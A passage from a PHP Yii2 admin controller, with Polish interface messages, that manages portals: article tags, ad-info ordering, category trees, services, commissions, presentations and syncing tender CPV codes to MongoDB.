            'categories' => !empty($categories[0]['children']) ? $categories[0]['children'] : []
        ]);
    }
    
    public function actionSetArticlesTags($id)
    {
        $modelPortal = $this->findModel($id);
        
        $idCategory = Yii::$app->request->get('id_category');
        
        if($idCategory) {
            $modelCategory = \common\models\ArticlesCategories::findOne(intval($idCategory));
            if($modelCategory === null) {
                throw new NotFoundHttpException('The requested page does not exist.');
            }
            
            $idsCategories = \common\models\ArticlesCategories::getIdsSelectedBranch($modelCategory);
            
            $tagsSelectedTemp = \common\models\ArticlesTags::find()
                    ->select(['articles_tags.id_tag', 'articles_tags.name', 'COUNT(*) AS quantity'])
                    ->join('INNER JOIN', 'articles_has_articles_tags', 'articles_tags.id_tag = articles_has_articles_tags.id_tag')
                    ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles_has_articles_tags.id_article AND articles_has_portals.id_portal = '.$modelPortal->id_portal)
                    ->join('INNER JOIN', 'articles_tags_selected', 'articles_tags_selected.id_tag = articles_tags.id_tag AND articles_tags_selected.id_portal = '.$modelPortal->id_portal.' AND articles_tags_selected.id_category = '.$modelCategory->id_category)
                    ->groupBy('articles_tags.id_tag')
                    ->orderBy('quantity DESC')
                    ->indexBy('id_tag')
                    ->asArray()
                    ->all();
            $tagsAvailableTemp = \common\models\ArticlesTags::find()
                    ->select(['articles_tags.id_tag', 'articles_tags.name', 'COUNT(*) AS quantity'])
                    ->join('INNER JOIN', 'articles_has_articles_tags', 'articles_tags.id_tag = articles_has_articles_tags.id_tag')
                    ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles_has_articles_tags.id_article AND articles_has_portals.id_portal = '.$modelPortal->id_portal)
                    ->where(['not in', 'articles_tags.id_tag', array_keys($tagsSelectedTemp)])
                    ->andWhere(['articles_has_articles_tags.id_article' => \common\models\ArticlesHasArticlesCategories::find()->select('id_article')->where(['id_category' => $idsCategories])->distinct()])
                    ->groupBy('articles_tags.id_tag')
                    ->orderBy('quantity DESC')
                    ->indexBy('id_tag')
                    ->limit(100)
                    ->asArray()
                    ->all();
        } else {
            $modelCategory = null;
            
            $tagsSelectedTemp = \common\models\ArticlesTags::find()
                    ->select(['articles_tags.id_tag', 'articles_tags.name', 'COUNT(*) AS quantity'])
                    ->join('INNER JOIN', 'articles_has_articles_tags', 'articles_tags.id_tag = articles_has_articles_tags.id_tag')
                    ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles_has_articles_tags.id_article AND articles_has_portals.id_portal = '.$modelPortal->id_portal)
                    ->join('INNER JOIN', 'articles_tags_selected', 'articles_tags_selected.id_tag = articles_tags.id_tag AND articles_tags_selected.id_portal = '.$modelPortal->id_portal.' AND articles_tags_selected.id_category IS NULL')
                    ->groupBy('articles_tags.id_tag')
                    ->orderBy('quantity DESC')
                    ->indexBy('id_tag')
                    ->asArray()
                    ->all();
            $tagsAvailableTemp = \common\models\ArticlesTags::find()
                    ->select(['articles_tags.id_tag', 'articles_tags.name', 'COUNT(*) AS quantity'])
                    ->join('INNER JOIN', 'articles_has_articles_tags', 'articles_tags.id_tag = articles_has_articles_tags.id_tag')
                    ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles_has_articles_tags.id_article AND articles_has_portals.id_portal = '.$modelPortal->id_portal)
                    ->where(['not in', 'articles_tags.id_tag', array_keys($tagsSelectedTemp)])
                    ->groupBy('articles_tags.id_tag')
                    ->orderBy('quantity DESC')
                    ->indexBy('id_tag')
                    ->limit(100)
                    ->asArray()
                    ->all();
        }
        
        $tagsSelected = $tagsAvailable = [];
        if(!empty($tagsSelectedTemp)) {
            foreach($tagsSelectedTemp as $tag) {
                $tagsSelected[$tag['id_tag']] = $tag['name'].' ('.$tag['quantity'].')';
            }
        }
        if(!empty($tagsAvailableTemp)) {
            foreach($tagsAvailableTemp as $tag) {
                $tagsAvailable[$tag['id_tag']] = $tag['name'].' ('.$tag['quantity'].')';
            }
        }
        unset($tagsSelectedTemp, $tagsAvailableTemp);
        
        $modelForm = new \backend\models\PortalArticlesTagsForm();
        $modelForm->setData($modelPortal->id_portal, !empty($modelCategory) ? $modelCategory->id_category : null);
        
        $outputParams = [
            'modelForm' => $modelForm,
            'modelPortal' => $modelPortal,
            'tagsAvailable' => $tagsAvailable,
            'tagsSelected' => $tagsSelected,
            'modelCategory' => $modelCategory
        ];
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['tags']);
        }
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('set_articles_tags', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('set_articles_tags', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if($modelForm->save()) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['articles-tags', 'id' => $modelPortal->id_portal, 'id_category' => !empty($modelCategory) ? $modelCategory->id_category : null]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }        
        
        return $this->render('set_articles_tags', $outputParams);
    }
    
    /**
     * Creates a new \common\models\PortalsAdsInfo model.
     * If creation is successful, the browser will be redirected to the 'ads-info' page.
     * @return mixed
     */
    public function actionCreateAdInfo()
    {
        $modelPortal = $this->findModel(Yii::$app->request->get('id_portal', null));
        
        $model = new \common\models\PortalsAdsInfo(['scenario' => 'create']);       
        $model->id_portal = $modelPortal->id_portal;
        
        $outputParams = [
            'model' => $model,
            'modelPortal' => $modelPortal
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('ad_info', $outputParams);
            }
            
            $model->id_portal = $modelPortal->id_portal;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('ad_info', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsAdsInfo = \common\models\PortalsAdsInfo::find()->where(['>=', 'info_order', $model->info_order])->andWhere(['id_portal' => $model->id_portal])->all();
            if(!empty($modelsAdsInfo)) {                
                array_walk($modelsAdsInfo, function($modelAdInfo, $key) use (&$flag) {
                    $modelAdInfo->info_order += 1;
                    if(!$flag || !$modelAdInfo->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['site_advertisement_'.$model->id_portal]);
                return $this->redirect(['ads-info', 'id' => $model->id_portal]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('ad_info', $outputParams);
    }
    
    /**
     * Updates an existing \common\models\PortalsAdsInfo model.
     * If update is successful, the browser will be redirected to the 'ads-info' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateAdInfo($id)
    {
        $model = \common\models\PortalsAdsInfo::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $outputParams = [
            'model' => $model,
            'modelPortal' => $model->portal
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('info_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('ad_info', $outputParams);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('ad_info', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->info_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsAdsInfo = \common\models\PortalsAdsInfo::find()
                        ->where(['<=', 'info_order', $newOrder])
                        ->andWhere(['>', 'info_order', $oldOrder])
                        ->andWhere(['id_portal' => $model->id_portal])
                        ->andWhere(['!=', 'id_info', $model->id_info])
                        ->all();
                    if(!empty($modelsAdsInfo)) {                
                        array_walk($modelsAdsInfo, function($modelAdInfo, $key) use (&$flag) {
                            $modelAdInfo->info_order -= 1;
                            if(!$flag || !$modelAdInfo->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsAdsInfo = \common\models\PortalsAdsInfo::find()
                        ->where(['<', 'info_order', $oldOrder])
                        ->andWhere(['>=', 'info_order', $newOrder])
                        ->andWhere(['id_portal' => $model->id_portal])
                        ->andWhere(['!=', 'id_info', $model->id_info])
                        ->all();
                    if(!empty($modelsAdsInfo)) {                
                        array_walk($modelsAdsInfo, function($modelAdInfo, $key) use (&$flag) {
                            $modelAdInfo->info_order += 1;
                            if(!$flag || !$modelAdInfo->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));
                TagDependency::invalidate(Yii::$app->frontendCache, ['site_advertisement_'.$model->id_portal]);
                return $this->redirect(['ads-info', 'id' => $model->id_portal]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('ad_info', $outputParams);
    }
    
    /**
     * Deletes an existing \common\models\PortalsAdsInfo model.
     * If deletion is successful, the browser will be redirected to the 'recommended-sites' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteAdInfo($id)
    {
        $model = \common\models\PortalsAdsInfo::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        
        $modelsAdsInfo = \common\models\PortalsAdsInfo::find()
            ->andWhere(['>', 'info_order', $model->info_order])
            ->andWhere(['id_portal' => $model->id_portal])
            ->andWhere(['!=', 'id_info', $model->id_info])
            ->all();
        if(!empty($modelsAdsInfo)) {                
            array_walk($modelsAdsInfo, function($modelAdInfo, $key) use (&$flag) {
                $modelAdInfo->info_order -= 1;
                if(!$flag || !$modelAdInfo->save(false)) {
                    $flag = false;
                }
            });
        }
                
        if($flag && $model->delete() !== false) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['site_advertisement_'.$model->id_portal]);
        } else {
            $transaction->rollBack();
        }        
        
        return $this->redirect(['ads-info', 'id' => $model->id_portal]);
    } 
    
    /**
     * Creates a new Portals model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new \backend\models\Portals(['scenario' => 'create']);
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['domain', 'id_portal', 'id_user', 'id_articles_groups', 'id_parent_portal']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create', ['model' => $model]);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create', ['model' => $model]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveOperators();            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/view', 'id' => $model->id_portal]);
                }
                else {
                    $model = new Portals(['scenario' => 'create']);
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
                
        return $this->conditionalRender('create', [
            'model' => $model,
        ]);
    }
    
    /**
     * Updates an existing Portals model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $model = \backend\models\Portals::findOne($id);        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $model->setScenario('update');
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['domain', 'id_portal', 'id_user', 'id_articles_groups', 'id_parent_portal']);
        }

        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update', ['model' => $model]);
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update', ['model' => $model]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveOperators();
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));         
                TagDependency::invalidate(Yii::$app->frontendCache, ['portals_base_data']);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/view', 'id' => $model->id_portal]);
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }        
        
        return $this->conditionalRender('update', [
            'model' => $model,
        ]);
    }

    /**
     * Deletes an existing Portals model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        $model->delete();
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));

        return $this->redirect(['portals/index']);
    }

    /**
     * Finds the Portals model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Portals the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Portals::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    public function actionCompaniesCategories($id)
    {
        $modelPortal = $this->findModel($id);
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
              
        if(!\common\models\CompaniesCategories::find()->where(['id_portal' => $idPortalForCategoriesTree])->exists()) {
            if(!\common\models\CompaniesCategories::initTree($idPortalForCategoriesTree)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));  
                return $this->redirect(['portals/view', 'id' => $modelPortal->id_portal]);
            }
        }
        
        return $this->render('companies_categories', [
            'model' => new \common\models\CompaniesCategories(),
            'modelPortal' => $modelPortal,
            'categories' => \common\models\CompaniesCategories::getJSONCategoryTree($idPortalForCategoriesTree)
        ]);
    }
    
    public function actionProductsCategories($id)
    {       
        $modelPortal = $this->findModel($id);
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        if(!\common\models\ProductsCategories::find()->where(['id_portal' => $idPortalForCategoriesTree])->exists()) {
            if(!\common\models\ProductsCategories::initTree($idPortalForCategoriesTree)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));  
                return $this->redirect(['portals/view', 'id' => $modelPortal->id_portal]);
            }
        }
        
        return $this->render('products_categories', [
            'model' => new \common\models\ProductsCategories(),
            'modelPortal' => $modelPortal,
            'categories' => \common\models\ProductsCategories::getJSONCategoryTree($idPortalForCategoriesTree)
        ]);
    }
    
    public function actionAdvertisementsCategories($id)
    {       
        $modelPortal = $this->findModel($id);
        
        if(!$modelPortal->getAdvertisementsCategories()->exists()) {
            if(!\common\models\AdvertisementsCategories::initTree($modelPortal->id_portal)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));  
                return $this->redirect(['portals/view', 'id' => $modelPortal->id_portal]);
            }
        }

        return $this->render('advertisements_categories', [
            'model' => new \common\models\AdvertisementsCategories(),
            'modelPortal' => $modelPortal,
            'categories' => \common\models\AdvertisementsCategories::getJSONCategoryTree($id)
        ]);
    }
    
    public function actionArticlesCategories($id)
    {        
        $modelPortal = $this->findModel($id);
        
        if(!$modelPortal->getArticlesCategories()->exists()) {
            if(!\common\models\ArticlesCategories::initTree($modelPortal->id_portal)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));  
                return $this->redirect(['portals/view', 'id' => $modelPortal->id_portal]);
            }
        }
        
        return $this->render('articles_categories', [
            'model' => new \common\models\ArticlesCategories(),
            'modelPortal' => $modelPortal,
            'categories' => \common\models\ArticlesCategories::getJSONCategoryTree($id)
        ]);
    }
    
    public function actionServicesTypes($id)
    {
        $modelPortal = $this->findModel($id);
        
        $modelForm = new \backend\models\PortalServicesTypesForm();
        $modelForm->setPortal($modelPortal);
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['servicesTypes']);
        }
        
        $modelForm->servicesTypes = $modelPortal->getServicesTypes()->select(['id_type'])->column();
        
        if(Yii::$app->user->can('modifyPortalsServicesTypes') && Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('services_types', ['modelForm' => $modelForm, 'modelPortal' => $modelPortal]);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('services_types', ['modelForm' => $modelForm, 'modelPortal' => $modelPortal]);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['portals/services-types', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('services_types', [
            'modelForm' => $modelForm,
            'modelPortal' => $modelPortal
        ]);
    }
    
    public function actionServices($id)
    {
        $modelPortal = $this->findModel($id);
        
        $services = \common\models\Services::find()
                ->join('INNER JOIN', 'services_types', 'services_types.id_type = services.id_type')
                ->join('INNER JOIN', 'services_types_has_portals', 'services_types_has_portals.id_type = services.id_type')
                ->select(['services.id_service', 'services.name', 'services.price_net'])
                ->where([
                    'services_types.standalone' => 0,
                    'services_types_has_portals.id_portal' => $modelPortal->id_portal
                ])
                ->orderBy('services_types.type_order ASC, services.service_order ASC')
                ->indexBy('id_service')
                ->asArray()
                ->all();
        
        if(empty($services)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie wybrano żadnych elementów.')); 
            return $this->redirect(['portals/services-types', 'id' => $modelPortal->id_portal]);
        }
        
        $modelsTemp = \backend\models\ServicesHasPortals::find()
                ->where(['id_portal' => $modelPortal->id_portal])
                ->indexBy('id_service')
                ->all();
        $models = [];
        foreach($services as $idService => $service) {
            if(isset($modelsTemp[$idService])) {
                $model = $modelsTemp[$idService];                
                $model->setScenario('update');
                if(empty($model->price_net)) {
                    $model->price_net = $service['price_net'];
                }
            } else {
                $model = new \backend\models\ServicesHasPortals(['scenario' => 'create']);
                $model->id_portal = $modelPortal->id_portal;
                $model->id_service = $idService;
                $model->price_net = $service['price_net'];
                $model->isSelected = 0;
            }
            $models[$idService] = $model;
        }    
        unset($modelsTemp);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'models' => $models, 
            'services' => $services
        ];
        
        if (Yii::$app->request->isAjax && \yii\base\Model::loadMultiple($models, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($models, ['id_portal', 'id_service', 'isSelected', 'price_net']);
        }
        
        if(Yii::$app->user->can('modifyPortalsServices') && Yii::$app->request->getIsPost()) {  
            if(!\yii\base\Model::loadMultiple($models, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('services', $outputParams);
            }
            
            if(!\yii\base\Model::validateMultiple($models)) {                    
                $errors = [];
                foreach($models as $key => $model) {
                    if($model->hasErrors()) {
                        foreach($model->getErrors() as $error) {
                            $errors[] = $error;
                        }
                    }
                }
                Yii::$app->session->addFlash('error', $errors);
                return $this->render('services', $outputParams);
            }
            
            $flag = true;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            foreach($models as $model) {
                if($model->isSelected) {
                    if(!$model->save(false)) {
                        $flag = true;
                        break;
                    }
                } elseif(!$model->isNewRecord) {
                    if($model->delete() === false) {
                        $flag = true;
                        break;
                    }
                }
            }

            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['portals/services', 'id' => $modelPortal->id_portal]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('services', $outputParams);
    }
    
    public function actionBookstoreCommissions($id)
    {
        $modelPortal = $this->findModel($id);
        $modelForm = new \backend\models\PortalBookstoreCommissionsForm();
        $modelForm->setPortal($modelPortal);
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'modelForm' => $modelForm
        ];
        
        if(Yii::$app->user->can('modifyPortalsBookstoreCommissions') && Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('bookstore_commissions', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('bookstore_commissions', $outputParams);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['bookstore-commissions', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('bookstore_commissions', $outputParams);
    }
    
    public function actionPresentations($id)
    {
        $modelPortal = $this->findModel($id);
        
        $modelForm = new \backend\models\PortalPresentationsForm();
        $modelForm->setPortal($modelPortal);
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['tabs']);
        }
        
        $modelForm->tabs = $modelPortal->getPresentationsTabs()->select(['id_tab'])->column();
        
        if(Yii::$app->user->can('modifyPortalsPresentationsSettings') && Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('presentations', ['modelForm' => $modelForm, 'modelPortal' => $modelPortal]);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('presentations', ['modelForm' => $modelForm, 'modelPortal' => $modelPortal]);
            }
            
            if ($modelForm->save()) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['portals/presentations', 'id' => $modelPortal->id_portal]);
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('presentations', [
            'modelForm' => $modelForm,
            'modelPortal' => $modelPortal
        ]);
    }
    
    public function actionTendersCpv($id)
    {
        $modelPortal = $this->findModel($id);
        
//        $modelsPortalsHasTendersCpv = $modelPortal->getRelationsWithTendersCpv()->indexBy('cpv')->all();
//        $postCpv = array_map(function($value) { return substr(trim($value), 0, 8); }, array_keys($modelsPortalsHasTendersCpv));
//        $addedCpv = ['15300000', '30200000']; //przetargi o ID 220000144202 oraz 220000143001 powinny mieć dodany portal
//        $removedCpv = ['44143000']; //przetarg o ID 220000988801 powinien mieć usunięty portal, ale przetarg o ID 220032586401 już nie
//        $postCpv = array_values(array_diff(array_merge($postCpv, $addedCpv), $removedCpv));
//        
//        Yii::$app->mongodb->getCollection('tenders')->update(
//            [
//                '$or' => [
//                    ['numercpv' => ['$in' => $addedCpv]], 
//                    ['numercpv2' => ['$in' => $addedCpv]]
//                ]
//            ], 
//            ['$addToSet' => ['ids_portals' => $modelPortal->id_portal]]
//        );
//        
//        Yii::$app->mongodb->getCollection('tenders')->update(
//            [
//                '$and' => [
//                    ['ids_portals' => $modelPortal->id_portal],
//                    [
//                        '$or' => [
//                            ['numercpv' => ['$in' => $removedCpv]], 
//                            ['numercpv2' => ['$in' => $removedCpv]]
//                        ]
//                    ],
//                    [
//                        '$nor' => [
//                            ['numercpv' => ['$in' => $postCpv]], 
//                            ['numercpv2' => ['$in' => $postCpv]]
//                        ],
//                    ]
//                ]
//            ], 
//            ['$pull' => ['ids_portals' => $modelPortal->id_portal]]
//        );
//        exit;
        
        
        $modelsPortalsHasTendersCpv = $modelPortal->getRelationsWithTendersCpv()->indexBy('cpv')->all();
        
        if(Yii::$app->user->can('modifyPortalsTendersCPV') && Yii::$app->request->getIsPost()) {
            $tendersCpv = \common\models\TendersCpv::find()->select(['cpv'])->where(['cpv' => Yii::$app->request->post('cpv')])->asArray()->all();
            if(empty($tendersCpv)) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('tenders_cpv', ['modelPortal' => $modelPortal, 'modelsPortalsHasTendersCpv' => $modelsPortalsHasTendersCpv]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            $flag = true;
            
            $addedCpv = [];
            $removedCpv = [];
            $postCpv = [];
            
            foreach($tendersCpv as $cpv) {
                $postCpv[] = substr(trim($cpv['cpv']), 0, 8);
                if(empty($modelsPortalsHasTendersCpv) || !isset($modelsPortalsHasTendersCpv[$cpv['cpv']])) {
                    $modelPortalHasTendersCpv = new \common\models\PortalsHasTendersCpv();
                    $modelPortalHasTendersCpv->id_portal = $modelPortal->id_portal;
                    $modelPortalHasTendersCpv->cpv = $cpv['cpv'];
                    
                    if(!$modelPortalHasTendersCpv->validate()) {
                        $transaction->rollBack();
                        Yii::$app->session->addFlash('error', $modelPortalHasTendersCpv->getErrors());
                        return $this->render('tenders_cpv', ['modelPortal' => $modelPortal, 'modelsPortalsHasTendersCpv' => $modelPortal->getRelationsWithTendersCpv()->indexBy('cpv')->all()]);
                    }

                    if(!$modelPortalHasTendersCpv->save(false)) {
                        $flag = false;
                        break;
                    }
                    
                    $addedCpv[] = substr(trim($cpv['cpv']), 0, 8);
                } else {
                    unset($modelsPortalsHasTendersCpv[$cpv['cpv']]);
                }
            }
            
            if($flag && !empty($modelsPortalsHasTendersCpv)) {
                foreach($modelsPortalsHasTendersCpv as $modelTendersCpv) {
                    if($modelTendersCpv->delete() === false) {
                        $flag = false;
                        break;
                    }
                    $removedCpv[] = substr(trim($cpv['cpv']), 0, 8);
                }
            }
            
            if($flag && (!empty($addedCpv) || !empty($removedCpv))) {
//                var_dump('dodajemy', $addedCpv);
//                var_dump('usuwamy', $removedCpv);
//                var_dump('przeslane', $postCpv);
//                $transaction->rollBack();
//                exit;          
                try {
                    if(!empty($addedCpv)) {                    
                        //dodajemy do ids_portals $modelPortal->id_portal
                        Yii::$app->mongodb->getCollection('tenders')->update(
                            [
                                '$or' => [
                                    ['numercpv' => ['$in' => $addedCpv]], 
                                    ['numercpv2' => ['$in' => $addedCpv]]
                                ]
                            ], 
                            ['$addToSet' => ['ids_portals' => $modelPortal->id_portal]]
                        );
                    }
                    if(!empty($removedCpv)) {
                        //usuwamy z ids_portals $modelPortal->id_portal jeśli numercpv i numercpv2 nie pasują do żadnej z wartośći w $postCpv;
                        Yii::$app->mongodb->getCollection('tenders')->update(
                            [
                                '$and' => [
                                    ['ids_portals' => $modelPortal->id_portal],
                                    [
                                        '$or' => [
                                            ['numercpv' => ['$in' => $removedCpv]], 
                                            ['numercpv2' => ['$in' => $removedCpv]]
                                        ]
                                    ],
                                    [
                                        '$nor' => [
                                            ['numercpv' => ['$in' => $postCpv]], 
                                            ['numercpv2' => ['$in' => $postCpv]]
                                        ],
                                    ]
                                ]
                            ], 
                            ['$pull' => ['ids_portals' => $modelPortal->id_portal]]
                        );
                    } 
                } catch (\Exception $ex) {
                    $flag = false;
                }
                
            }
            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['tenders_cpv_portal_'.$modelPortal->id_portal]);
                return $this->redirect(['portals/tenders-cpv', 'id' => $modelPortal->id_portal]);
            } else {
